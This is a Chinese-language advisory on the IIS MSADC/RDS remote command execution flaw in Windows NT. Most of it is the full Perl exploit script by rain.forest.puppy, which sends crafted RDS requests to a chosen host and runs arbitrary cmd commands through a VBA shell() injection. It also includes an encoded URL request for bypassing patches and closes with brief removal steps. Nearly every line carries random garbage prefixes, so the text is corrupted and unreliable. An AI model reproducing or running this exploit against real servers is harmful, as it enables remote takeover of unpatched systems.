IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
um/2.S n> wUU Dq?!k\ 涉及程序：
I Zr~h9 Microsoft NT server
[V vTR#^ 7d9kr?3(U 描述：
&G#LQl 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
3Z,J &d`[ +TA 'P$j 详细：
\BIa:}9O 如果你没有时间读详细内容的话，就删除:
+w' "N c:\Program Files\Common Files\System\Msadc\msadcs.dll
!_zp'V]? 有关的安全问题就没有了。
U)v['5% WCa>~dF> 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
/g|H?F0 }>)e~\Tdzb 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
_e2=BE`W) 关于利用ODBC远程漏洞的描述，请参看:
OR{<)L qG=?+em http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 977%9z<h +Ce[OG. 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
M8 4{u!>[ http://www.microsoft.com/security/bulletins/MS99-025faq.asp jO` b&]0 ;3 N0) 这里不再论述。
r>!$e qX_ _G$SA-W( 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
pN\YAc* @: ->BGeP_=| /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Y|'0bujr 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
9\yGv "c0I2wq Uavr>- #将下面这段保存为txt文件，然后: "perl -x 文件名"
Z*AT &7 GM1z@i\5 #!perl
}}R?pU_ #
)@vhq Vv? # MSADC/RDS 'usage' (aka exploit) script
&sFEe< #
li!3bv # by rain.forest.puppy
iD;pXE{2s% #
[C8lMEV~ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
%kS4v,I # beta test and find errors!
=r w60B E_fH,YJ? 9 use Socket; use Getopt::Std;
|E%i
t?3M getopts("e:vd:h:XR", \%args);
~0;l\^ Yf=an`" print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
4trP*u,4 Ry$zF~[ if (!defined $args{h} && !defined $args{R}) {
s}
I8:ufT print qq~
W0zRV9"P Usage: msadc.pl -h <host> { -d <delay> -X -v }
]xx}\k -h <host> = host you want to scan (ip or domain)
F&tU^( 7< -d <seconds> = delay between calls, default 1 second
D d: T FZo -X = dump Index Server path table, if available
h/)kd3$*' -v = verbose
*3uBS2Ld -e = external dictionary file for step 5
>
whcZ.8 %anY'GK Or a -R will resume a command session
fU6O: - {Xw6]d ~; exit;}
{D6p?TL+ 9.:]eL $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
&dH[lB if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
5Kadh2nz if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
& b Kl(, if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
$;4y2?E $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
\
F\ /< if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
e_<'zH_1 \?$`dA [ if (!defined $args{R}){ $ret = &has_msadc;
;\N ) RZ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
R m&^[mv Z[ NO`!< print "Please type the NT commandline you want to run (cmd /c assumed):\n"
;S&PLgZ . "cmd /c ";
mp !S<m $in=<STDIN>; chomp $in;
.S5%Qa [uW $command="cmd /c " . $in ;
ab}Kt($ 6`c5\G+ if (defined $args{R}) {&load; exit;}
C`J> Gm Qkvg85 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
J]!&E~Y &try_btcustmr;
VW$a(G_h Gu#Vc.e print "\nStep 2: Trying to make our own DSN...";
9wTN *y &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
jk Q%b.a y[D8r Fw print "\nStep 3: Trying known DSNs...";
f:\)oIW9Kk &known_dsn;
46^9O
5J Y94 ^mt- print "\nStep 4: Trying known .mdbs...";
? M/H{ &known_mdb;
|Ix{J P"Lk 3P.v#T Est if (defined $args{e}){
bwC~ print "\nStep 5: Trying dictionary of DSN names...";
'bd|Oww1u &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Nf ]h8 d~ [$Dzf<0 print "Sorry Charley...maybe next time?\n";
/e :kBjysJ exit;
|]Eli%mNe F3?PlH:Y ##############################################################################
kS7`g A wHR# - g' sub sendraw { # ripped and modded from whisker
nxjP4d> sleep($delay); # it's a DoS on the server! At least on mine...
TQ,KPf$0U my ($pstr)=@_;
| zkZF|- socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
zao=}j? die("Socket problems\n");
cIS?EW]S%X if(connect(S,pack "SnA4x8",2,80,$target)){
A_4.>g select(S); $|=1;
A6?!BB=]
print $pstr; my @in=<S>;
tl=H9w&@ select(STDOUT); close(S);
1_jd1 UT return @in;
NimW=X;c } else { die("Can't connect...\n"); }}
nO CCOTf XkEJ_;: ##############################################################################
^vY[d]R _\ +%~/~1 sub make_header { # make the HTTP request
61 @;3yV my $msadc=<<EOT
pBxyq"z POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
W5^<4Y a! User-Agent: ACTIVEDATA
*U mWcFoF Host: $ip
zR! p-7_w Content-Length: $clen
<k'% rz Connection: Keep-Alive
uxOeD%Z> [0?W> A*h ADCClientVersion:01.06
?;YymD_ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
tR Cz[M& TPF5 ? --!ADM!ROX!YOUR!WORLD!
+V ` * Content-Type: application/x-varg
l+UUv]:1 Content-Length: $reqlen
W7` fI*lc ,\RZ+kC>~ EOT
>Y6iLQ$X ; $msadc=~s/\n/\r\n/g;
pQNTN.L9NZ return $msadc;}
L)z` 1EemVZdY ##############################################################################
_/5#A+ ? SjL&\), sub make_req { # make the RDS request
VR XK/dZ my ($switch, $p1, $p2)=@_;
P?o|N<46 my $req=""; my $t1, $t2, $query, $dsn;
T!%J x.^ :Ldx^UO if ($switch==1){ # this is the btcustmr.mdb query
0@tN3u?dx $query="Select * from Customers where City=" . make_shell();
v;o/M6GL5 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
MJ M< $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
*~\R0ddz [e`e bn[C elsif ($switch==2){ # this is general make table query
U~GQ JR $query="create table AZZ (B int, C varchar(10))";
YHOo6syk $dsn="$p1";}
M~ku4ZP 0a}a elsif ($switch==3){ # this is general exploit table query
@~CXnc0 $query="select * from AZZ where C=" . make_shell();
P;U(2;9 N $dsn="$p1";}
)Y &RMY y I /z`) elsif ($switch==4){ # attempt to hork file info from index server
fc<~R $query="select path from scope()";
>] <4t06D $dsn="Provider=MSIDXS;";}
UJiy] y !dV2:` |+ elsif ($switch==5){ # bad query
@#2KmM~I $query="select";
_Q9I
W $dsn="$p1";}
z=6zc-$y 9 .z, ot| $t1= make_unicode($query);
{fI"p;| $t2= make_unicode($dsn);
[J8;V|v $req = "\x02\x00\x03\x00";
045_0+r"@ $req.= "\x08\x00" . pack ("S1", length($t1));
`LOW)|6r` $req.= "\x00\x00" . $t1 ;
LEC=@) B $req.= "\x08\x00" . pack ("S1", length($t2));
I&9Itn p$ $req.= "\x00\x00" . $t2 ;
_J X>#h $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
`{1~]?-& return $req;}
@q"HZO[ 8'* /|)Hn ##############################################################################
8P * d `kYcTFk sub make_shell { # this makes the shell() statement
n 09P!],Xa return "'|shell(\"$command\")|'";}
[ 0z-X 7=e )?;+<, ##############################################################################
n.7-$1 >zo_ }A! sub make_unicode { # quick little function to convert to unicode
rlQ=rNrG&E my ($in)=@_; my $out;
wE3 fKG. for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
LUzn7FZk return $out;}
hjq@ .5 *t300`x ##############################################################################
0 =k rcz9\@M sub rdo_success { # checks for RDO return success (this is kludge)
)l H` a my (@in) = @_; my $base=content_start(@in);
UuCRQN H if($in[$base]=~/multipart\/mixed/){
2 QgD< return 1 if( $in[$base+10]=~/^\x09\x00/ );}
9/h[(qvT return 0;}
>0JC u^9 ;R]~9Aan ##############################################################################
Al+}4{Q+? z#B(1uI sub make_dsn { # this makes a DSN for us
d*_rJE}B my @drives=("c","d","e","f");
l?B=5*0 print "\nMaking DSN: ";
jo BS{] foreach $drive (@drives) {
E1s~ + print "$drive: ";
)%09j0y>l" my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
'Pe;Tp> ` "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
no(or5UJ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
@~bP| a $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
:3[;9xCHj return 0 if $2 eq "404"; # not found/doesn't exist
}=d}q * if($2 eq "200") {
cHC4Y&&uZ foreach $line (@results) {
8R T<?I^5 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Gdz* } return 0;}
p$}/~5b}4 zvn3i5z ##############################################################################
l:~/%= P~;1adi3 sub verify_exists {
"hnvND4= my ($page)=@_;
~;}uYJ my @results=sendraw("GET $page HTTP/1.0\n\n");
I2WWhsNC return $results[0];}
1<V ke$ q1Ad"rm ##############################################################################
2(f-0or( z @?WhD sub try_btcustmr {
*).! my @drives=("c","d","e","f");
P1^O0) my @dirs=("winnt","winnt35","winnt351","win","windows");
Q<Qd*v &- S 3s6 foreach $dir (@dirs) {
ji
C2B print "$dir -> "; # fun status so you can see progress
TZhYgV foreach $drive (@drives) {
4 8Jt1^ print "$drive: "; # ditto
=fJ /6 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
& $
fyY:<\ $reqlenlen=length( "$reqlen" );
WWTRB +1> $clen= 206 + $reqlenlen + $reqlen;
z.^_;Vql_ Fj46~#ZZ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Q <ulh s if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
ZK h4:D else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
.,f]'!5 Z7I\\M ##############################################################################
yL %88,/ <cxe sub odbc_error {
<cO
`jK my (@in)=@_; my $base;
cRE6/qrXGg my $base = content_start(@in);
kGAB' if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
-O\ f y! $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
b&6lu4D $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^kk e $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
KA>QW[HX return $in[$base+4].$in[$base+5].$in[$base+6];}
&eb8k2S print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
s>)?MB*vb print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
h; 6G~D $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
fw5+eTQ^ PQUJUs ##############################################################################
Z3U%Afl2{ .Rt~d^D@ sub verbose {
ix"BLn]YZ my ($in)=@_;
#pyFIUr=w return if !$verbose;
RL[F 9g print STDOUT "\n$in\n";}
xo4lM v\E6N 2.S ##############################################################################
RKZBI?@4 i-9W8 A sub save {
jX0^1d@ my ($p1, $p2, $p3, $p4)=@_;
<fE ^S open(OUT, ">rds.save") || print "Problem saving parameters...\n";
R@#xPv4o% print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
eVd:C8q close OUT;}
G#ELQ/Q _St ":9'uU ##############################################################################
ke k/C`7 S$gLL kD1 sub load {
JXH f$k my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
P/xE n_*v open(IN,"<rds.save") || die("Couldn't open rds.save\n");
BF 0#G2`h> @p=<IN>; close(IN);
`KZu/r-M9 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
K'B*D*w $target= inet_aton($ip) || die("inet_aton problems");
zN9#qlfv print "Resuming to $ip ...";
^Vi{._r $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
gjx-tp 1. if($p[1]==1) {
qMoo#UX $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
;N Q}c"9 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
'<QFf my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
N 'n0I^Y1A if (rdo_success(@results)){print "Success!\n";}
dc0&*/`: else { print "failed\n"; verbose(odbc_error(@results));}}
^rd%{ 6m elsif ($p[1]==3){
GQjwr( if(run_query("$p[3]")){
Vl3-cW@p print "Success!\n";} else { print "failed\n"; }}
Z>l|R C elsif ($p[1]==4){
@6Lp $w if(run_query($drvst . "$p[3]")){
~dzD7l G6 print "Success!\n"; } else { print "failed\n"; }}
]~~G<Yh:= exit;}
g W_E )!U@:x\K ##############################################################################
=[z P ^nK 7&]rK sub create_table {
maa$kg8U*! my ($in)=@_;
KoA +Vv9 $reqlen=length( make_req(2,$in,"") ) - 28;
|Qcj +HH. $reqlenlen=length( "$reqlen" );
&8yGV i $clen= 206 + $reqlenlen + $reqlen;
"G ,,:H9v my @results=sendraw(make_header() . make_req(2,$in,""));
s}-j.jzB{ return 1 if rdo_success(@results);
$j8CF3d.6 my $temp= odbc_error(@results); verbose($temp);
6=Wevb5YJ return 1 if $temp=~/Table 'AZZ' already exists/;
( P=WKZMPN return 0;}
?:&2iW7z @^DVA}*b) ##############################################################################
(5 CgC < @eDs)mY sub known_dsn {
KYwUkuw) # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
io(!z-$ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
vz|(KN[ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
]O{i?tyX "banner", "banners", "ads", "ADCDemo", "ADCTest");
^Epup$ _q}Cnp5 foreach $dSn (@dsns) {
CI\yP@DQ4 print ".";
P#Whh next if (!is_access("DSN=$dSn"));
; <mcvm if(create_table("DSN=$dSn")){
Mlr'h}:H print "$dSn successful\n";
? |pP&8r if(run_query("DSN=$dSn")){
jE=m4_Ntn print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
BsL+9lNue print "Something's borked. Use verbose next time\n";}}} print "\n";}
R]o0V*n Z9MR"!0 ##############################################################################
O} (sn {p $@)b sub is_access {
m 9\"B3sr my ($in)=@_;
U|{ 4=[ $reqlen=length( make_req(5,$in,"") ) - 28;
1B:5O*I!J $reqlenlen=length( "$reqlen" );
:R3iLy $clen= 206 + $reqlenlen + $reqlen;
*B \ @L my @results=sendraw(make_header() . make_req(5,$in,""));
6 !?]
( my $temp= odbc_error(@results);
Ekik_!aB verbose($temp); return 1 if ($temp=~/Microsoft Access/);
fJ0V|o return 0;}
P;K LN9/4 X
y`2ux+>/ ##############################################################################
Z:Vde^Ih iz)r.TJ sub run_query {
]N ;n q my ($in)=@_;
mq:WBSsV $reqlen=length( make_req(3,$in,"") ) - 28;
US=K}B =g $reqlenlen=length( "$reqlen" );
K :kb&W $clen= 206 + $reqlenlen + $reqlen;
p_%,JD my @results=sendraw(make_header() . make_req(3,$in,""));
SAj#+_d b return 1 if rdo_success(@results);
cN FHbMd my $temp= odbc_error(@results); verbose($temp);
j Ko9y return 0;}
; yE.R[I WPrBK{B`o ##############################################################################
E:k ]Z )MLbE-@ sub known_mdb {
FCOa|IKsN my @drives=("c","d","e","f","g");
%W$b2N{l my @dirs=("winnt","winnt35","winnt351","win","windows");
.o5K X* my $dir, $drive, $mdb;
VbMud]40F my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
P-$ , SS24@:"{ # this is sparse, because I don't know of many
Slj
U=, my @sysmdbs=( "\\catroot\\icatalog.mdb",
KATf9-Sz "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
c~ vql4 "\\system32\\certmdb.mdb",
= =gL!e{ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
mdQe)> xpCZlOld my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
7[uN;B#V "\\cfusion\\cfapps\\forums\\forums_.mdb",
'r ^ .Ao5 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
w{lj'3z I "\\cfusion\\cfapps\\security\\realm_.mdb",
:-lq Yd5^ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
D U)q]'[u "\\cfusion\\database\\cfexamples.mdb",
m/jyc#
L:u "\\cfusion\\database\\cfsnippets.mdb",
%'=2Jy6h "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
"KS" [i!3j "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
7 '6 5+c[& "\\cfusion\\brighttiger\\database\\cleam.mdb",
F |y0q:U "\\cfusion\\database\\smpolicy.mdb",
N` $F>E,T% "\\cfusion\\database\cypress.mdb",
C[hNngb7R "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
E.sZjo1 "\\website\\cgi-win\\dbsample.mdb",
<;'{Tj-" "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
wq,&0P-v "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
7cWeB5 e?O ); #these are just
[i.c;'Wy/ foreach $drive (@drives) {
W`c$2KS?DO foreach $dir (@dirs){
6rWq
hIaI foreach $mdb (@sysmdbs) {
R,["w9 8a print ".";
\ltS~E uWU if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
xLLTp7b( print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
'p\&Mc_Gu if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Cg%Owe/E?0 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
ki }Li*)7 } else { print "Something's borked. Use verbose next time\n"; }}}}}
2xiE#l-V2 B2*>7 kc_s foreach $drive (@drives) {
GVu[X?q@| foreach $mdb (@mdbs) {
p: $kX9mT& print ".";
s-(c-E09 if(create_table($drv . $drive . $dir . $mdb)){
_V e)M% print "\n" . $drive . $dir . $mdb . " successful\n";
D| <_96_m if(run_query($drv . $drive . $dir . $mdb)){
#G?#ot2o print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
f* 88k='\W } else { print "Something's borked. Use verbose next time\n"; }}}}
e6H}L:; }
4 p+Veo6B i%F2^R@!q/ ##############################################################################
Csp $_uDi =8TBkxG sub hork_idx {
;I80<SZ print "\nAttempting to dump Index Server tables...\n";
J> G' H) print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
2A =Y $reqlen=length( make_req(4,"","") ) - 28;
X[dH*PV $reqlenlen=length( "$reqlen" );
^!i4d)) $clen= 206 + $reqlenlen + $reqlen;
-{J0~1'#- my @results=sendraw2(make_header() . make_req(4,"",""));
R]Z#VnL@qz if (rdo_success(@results)){
!>ZBb\EyK my $max=@results; my $c; my %d;
f x4#R(N for($c=19; $c<$max; $c++){
g:xg ~H2 $results[$c]=~s/\x00//g;
T-GvPl9ZJw $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
cTn (Tv9s $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
VAjl?\}6 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
{q+gm1iC $d{"$1$2"}="";}
trjeGSt& foreach $c (keys %d){ print "$c\n"; }
0S4Y3bac& } else {print "Index server doesn't seem to be installed.\n"; }}
n[qnrk*3
% @jjxgd'%& ##############################################################################
92R,o'# F7w\ctUP sub dsn_dict {
tJQZRZViu open(IN, "<$args{e}") || die("Can't open external dictionary\n");
jk_yrbLc while(<IN>){
\ K}KnJ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
xh C Q Rw next if (!is_access("DSN=$dSn"));
uPN^o.,/. if(create_table("DSN=$dSn")){
I![/bwObG print "$dSn successful\n";
m@*aA }69 if(run_query("DSN=$dSn")){
zFipuG02 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
\L$]2"/v- print "Something's borked. Use verbose next time\n";}}}
$!!y v'K print "\n"; close(IN);}
Pg`+Q^^6S UM`$aPz ##############################################################################
s?; V!t :SO4@JT{W sub sendraw2 { # ripped and modded from whisker
-:F r($^ sleep($delay); # it's a DoS on the server! At least on mine...
}?Pa(0=U
my ($pstr)=@_;
|0>rojMq socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
P s|[ die("Socket problems\n");
/N R*<,c% if(connect(S,pack "SnA4x8",2,80,$target)){
$7xfLS8Vo print "Connected. Getting data";
uh#E^~5S open(OUT,">raw.out"); my @in;
a #s
Nd select(S); $|=1; print $pstr;
<;> k[P' while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
$Jn.rX0}$ close(OUT); select(STDOUT); close(S); return @in;
"?<`]WG\ } else { die("Can't connect...\n"); }}
w 8cnSO U8HuqFC ##############################################################################
tj8o6N# ;}KJ[5i-V sub content_start { # this will take in the server headers
4AvIU!0w my (@in)=@_; my $c;
Z\QN n for ($c=1;$c<500;$c++) {
3m21n7F4* if($in[$c] =~/^\x0d\x0a/){
/ :BC<]s if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
M&",7CPD(1 else { return $c+1; }}}
!Q%r4Nr
return -1;} # it should never get here actually
z Z~t ,> <&B] p ##############################################################################
@n9iOf~< ]d%Ou]609 sub funky {
#a9R3-aP my (@in)=@_; my $error=odbc_error(@in);
\>w 2D if($error=~/ADO could not find the specified provider/){
<; Td8O89_ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
?;(!(<{ exit;}
x 2l}$(7 if($error=~/A Handler is required/){
N >P" $ print "\nServer has custom handler filters (they most likely are patched)\n";
f4dHOH exit;}
prIJjy-F if($error=~/specified Handler has denied Access/){
Oq3t-omXS print "\nServer has custom handler filters (they most likely are patched)\n";
!^1 oH** exit;}}
@^-f +o }0 95U(@ ##############################################################################
ov\%*z2= 6 73G6Nk sub has_msadc {
:'fK `G
6 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
{+kWK;1 my $base=content_start(@results);
eISHV.QV return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
MC B2 return 0;}
_jxysFl= sv "GX< + ########################
g&ba]?[A ^Ga_wJP8S TC:t!: 解决方案：
4zBcq<R7 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
;t@^Z_z,CR 2、移除web 目录: /msadc
